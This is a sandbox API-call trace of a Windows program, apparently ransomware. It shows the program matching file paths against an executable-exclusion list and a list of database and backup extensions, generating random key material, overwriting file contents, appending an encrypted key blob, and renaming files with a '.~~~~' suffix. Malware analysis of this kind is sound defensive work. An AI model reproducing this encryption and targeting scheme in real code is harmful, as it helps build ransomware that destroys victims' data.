	[0082.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".bat") returned 0x0
	[0082.039] lstrlenW (lpString=".cpl") returned 4
	[0082.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".cpl") returned 0x0
	[0082.039] lstrlenW (lpString=".sys") returned 4
	[0082.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".sys") returned 0x0
	[0082.039] lstrlenW (lpString=".msc") returned 4
	[0082.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".msc") returned 0x0
	[0082.039] lstrlenW (lpString=".com") returned 4
	[0082.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".com") returned 0x0
	[0082.039] lstrlenW (lpString=".lnk") returned 4
	[0082.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".lnk") returned 0x0
	[0082.039] lstrlenW (lpString=".msp") returned 4
	[0082.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".msp") returned 0x0
	[0082.039] lstrlenW (lpString=".pif") returned 4
	[0082.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".pif") returned 0x0
	[0082.040] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch="msp\r\n.pif") returned 0x0
	[0082.040] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0082.040] lstrlenW (lpString=".sqb") returned 4
	[0082.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".sqb") returned 0x0
	[0082.040] lstrlenW (lpString=".ost") returned 4
	[0082.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".ost") returned 0x0
	[0082.040] lstrlenW (lpString=".txt") returned 4
	[0082.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".txt") returned 0x0
	[0082.040] lstrlenW (lpString=".mdt") returned 4
	[0082.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".mdt") returned 0x0
	[0082.040] lstrlenW (lpString=".BDB") returned 4
	[0082.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".BDB") returned 0x0
	[0082.040] lstrlenW (lpString=".eql") returned 4
	[0082.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".eql") returned 0x0
	[0082.040] lstrlenW (lpString=".DBF") returned 4
	[0082.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".DBF") returned 0x0
	[0082.040] lstrlenW (lpString=".EQL") returned 4
	[0082.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".EQL") returned 0x0
	[0082.041] lstrlenW (lpString=".FDB") returned 4
	[0082.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".FDB") returned 0x0
	[0082.041] lstrlenW (lpString=".EDB") returned 4
	[0082.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".EDB") returned 0x0
	[0082.041] lstrlenW (lpString=".DACPAC") returned 7
	[0082.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".DACPAC") returned 0x0
	[0082.041] lstrlenW (lpString=".VHD") returned 4
	[0082.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".VHD") returned 0x0
	[0082.041] lstrlenW (lpString=".DBV") returned 4
	[0082.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".DBV") returned 0x0
	[0082.041] lstrlenW (lpString=".dacpac") returned 7
	[0082.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".dacpac") returned 0x0
	[0082.041] lstrlenW (lpString=".sdf") returned 4
	[0082.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".sdf") returned 0x0
	[0082.041] lstrlenW (lpString=".accdb") returned 6
	[0082.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".accdb") returned 0x0
	[0082.041] lstrlenW (lpString=".DBX") returned 4
	[0082.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".DBX") returned 0x0
	[0082.041] lstrlenW (lpString=".MDT") returned 4
	[0082.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".MDT") returned 0x0
	[0082.041] lstrlenW (lpString=".SQB") returned 4
	[0082.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".SQB") returned 0x0
	[0082.041] lstrlenW (lpString=".vhd") returned 4
	[0082.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".vhd") returned 0x0
	[0082.041] lstrlenW (lpString=".bac") returned 4
	[0082.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".bac") returned 0x0
	[0082.042] lstrlenW (lpString=".mdf") returned 4
	[0082.042] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".mdf") returned 0x0
	[0082.042] lstrlenW (lpString=".BAK") returned 4
	[0082.042] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".BAK") returned 0x0
	[0082.042] lstrlenW (lpString=".BAC") returned 4
	[0082.042] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".BAC") returned 0x0
	[0082.042] lstrlenW (lpString=".dbs") returned 4
	[0082.042] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".dbs") returned 0x0
	[0082.042] lstrlenW (lpString=".vhdx") returned 5
	[0082.042] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".vhdx") returned 0x0
	[0082.042] lstrlenW (lpString=".NDF") returned 4
	[0082.042] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".NDF") returned 0x0
	[0082.042] lstrlenW (lpString=".dat") returned 4
	[0082.042] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".dat") returned 0x0
	[0082.042] lstrlenW (lpString=".DBS") returned 4
	[0082.042] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".DBS") returned 0x0
	[0082.042] lstrlenW (lpString=".CKP") returned 4
	[0082.042] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".CKP") returned 0x0
	[0082.042] lstrlenW (lpString=".edb") returned 4
	[0082.042] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".edb") returned 0x0
	[0082.042] lstrlenW (lpString=".PST") returned 4
	[0082.042] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".PST") returned 0x0
	[0082.042] lstrlenW (lpString=".dbf") returned 4
	[0082.042] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".dbf") returned 0x0
	[0082.042] lstrlenW (lpString=".SQL") returned 4
	[0082.042] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".SQL") returned 0x0
	[0082.043] lstrlenW (lpString=".pst") returned 4
	[0082.043] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".pst") returned 0x0
	[0082.043] lstrlenW (lpString=".dbv") returned 4
	[0082.043] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".dbv") returned 0x0
	[0082.043] lstrlenW (lpString=".SDF") returned 4
	[0082.043] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".SDF") returned 0x0
	[0082.043] lstrlenW (lpString=".dtxs") returned 5
	[0082.043] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".dtxs") returned 0x0
	[0082.043] lstrlenW (lpString=".db3") returned 4
	[0082.043] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".db3") returned 0x0
	[0082.043] lstrlenW (lpString=".OST") returned 4
	[0082.043] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".OST") returned 0x0
	[0082.043] lstrlenW (lpString=".dbx") returned 4
	[0082.043] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".dbx") returned 0x0
	[0082.043] lstrlenW (lpString=".DB3") returned 4
	[0082.043] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".DB3") returned 0x0
	[0082.043] lstrlenW (lpString=".DAT") returned 4
	[0082.043] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".DAT") returned 0x0
	[0082.043] lstrlenW (lpString=".VHDX") returned 5
	[0082.043] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".VHDX") returned 0x0
	[0082.043] lstrlenW (lpString=".ndf") returned 4
	[0082.043] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".ndf") returned 0x0
	[0082.043] lstrlenW (lpString=".DB") returned 3
	[0082.043] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".DB") returned 0x0
	[0082.043] lstrlenW (lpString=".sql") returned 4
	[0082.043] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".sql") returned 0x0
	[0082.044] lstrlenW (lpString=".MYD") returned 4
	[0082.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".MYD") returned 0x0
	[0082.044] lstrlenW (lpString=".DBT") returned 4
	[0082.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".DBT") returned 0x0
	[0082.044] lstrlenW (lpString=".ACCDB") returned 6
	[0082.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".ACCDB") returned 0x0
	[0082.044] lstrlenW (lpString=".fdb") returned 4
	[0082.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".fdb") returned 0x0
	[0082.044] lstrlenW (lpString=".bak") returned 4
	[0082.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".bak") returned 0x0
	[0082.044] lstrlenW (lpString=".myd") returned 4
	[0082.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".myd") returned 0x0
	[0082.044] lstrlenW (lpString=".DTXS") returned 5
	[0082.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".DTXS") returned 0x0
	[0082.044] lstrlenW (lpString=".ckp") returned 4
	[0082.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".ckp") returned 0x0
	[0082.044] lstrlenW (lpString=".dbt") returned 4
	[0082.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".dbt") returned 0x0
	[0082.044] lstrlenW (lpString=".db") returned 3
	[0082.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".db") returned 0x0
	[0082.044] lstrlenW (lpString=".TXT") returned 4
	[0082.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".TXT") returned 0x0
	[0082.044] lstrlenW (lpString=".MDF") returned 4
	[0082.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".MDF") returned 0x0
	[0082.044] lstrlenW (lpString=".bdb") returned 4
	[0082.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".bdb") returned 0x0
	[0082.044] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0082.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0082.045] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0082.045] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0082.045] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0082.046] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0082.046] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0082.046] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0082.046] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0082.046] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x38b738
	[0082.046] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20203605956) returned 1
	[0082.140] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9acc62f0, dwHighDateTime=0x1d60e1e)) 
	[0082.140] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0082.140] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0082.140] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0082.140] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38cf88
	[0082.140] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0082.140] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38cf88 | out: hHeap=0x300000) returned 1
	[0082.145] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0082.145] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0082.145] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0082.148] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0082.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8560
	[0082.148] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0082.148] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0082.148] GetLastError () returned 0x0
	[0082.149] GetLastError () returned 0x0
	[0082.149] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0082.149] GetLastError () returned 0x0
	[0082.149] GetLastError () returned 0x0
	[0082.149] ReadFile (in: hFile=0x124, lpBuffer=0x2824fd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesRead=0x1f8fec0*=0x2cc7, lpOverlapped=0x0) returned 1
	[0082.153] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffd339, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0082.153] WriteFile (in: hFile=0x124, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x2cc7, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x1f8fec0*=0x2cc7, lpOverlapped=0x0) returned 1
	[0082.153] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0082.154] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.154] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0082.154] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0082.154] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0082.154] CloseHandle (hObject=0x124) returned 1
	[0082.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39bd98
	[0082.154] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm.~~~~")) returned 1
	[0082.223] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39bd98 | out: hHeap=0x300000) returned 1
	[0082.223] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0082.223] GetLastError () returned 0x0
	[0082.223] RtlWakeConditionVariable () returned 0x365f70
	[0082.223] GetCurrentThreadId () returned 0xaf0
	[0082.223] GetCurrentThreadId () returned 0xaf0
	[0082.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a9140
	[0082.223] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a74c0 | out: hHeap=0x300000) returned 1
	[0082.223] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3648 | out: hHeap=0x300000) returned 1
	[0082.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a74c0
	[0082.223] lstrlenW (lpString=".scr") returned 4
	[0082.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".scr") returned 0x0
	[0082.223] lstrlenW (lpString=".cmd") returned 4
	[0082.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".cmd") returned 0x0
	[0082.223] lstrlenW (lpString=".dll") returned 4
	[0082.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".dll") returned 0x0
	[0082.223] lstrlenW (lpString=".bat") returned 4
	[0082.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".bat") returned 0x0
	[0082.223] lstrlenW (lpString=".cpl") returned 4
	[0082.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".cpl") returned 0x0
	[0082.223] lstrlenW (lpString=".sys") returned 4
	[0082.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".sys") returned 0x0
	[0082.223] lstrlenW (lpString=".msc") returned 4
	[0082.224] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".msc") returned 0x0
	[0082.224] lstrlenW (lpString=".com") returned 4
	[0082.224] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".com") returned 0x0
	[0082.224] lstrlenW (lpString=".lnk") returned 4
	[0082.224] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".lnk") returned 0x0
	[0082.224] lstrlenW (lpString=".msp") returned 4
	[0082.224] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".msp") returned 0x0
	[0082.224] lstrlenW (lpString=".pif") returned 4
	[0082.224] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".pif") returned 0x0
	[0082.224] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.224] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0082.224] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fstock.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0082.224] lstrlenW (lpString=".sqb") returned 4
	[0082.224] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".sqb") returned 0x0
	[0082.224] lstrlenW (lpString=".ost") returned 4
	[0082.224] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".ost") returned 0x0
	[0082.225] lstrlenW (lpString=".txt") returned 4
	[0082.225] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".txt") returned 0x0
	[0082.225] lstrlenW (lpString=".mdt") returned 4
	[0082.225] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".mdt") returned 0x0
	[0082.225] lstrlenW (lpString=".BDB") returned 4
	[0082.225] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".BDB") returned 0x0
	[0082.225] lstrlenW (lpString=".eql") returned 4
	[0082.225] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".eql") returned 0x0
	[0082.225] lstrlenW (lpString=".DBF") returned 4
	[0082.225] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".DBF") returned 0x0
	[0082.225] lstrlenW (lpString=".EQL") returned 4
	[0082.225] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL", lpSrch=".EQL") returned 0x0
	[0082.225] lstrlenW (lpString=".FDB") returned 4
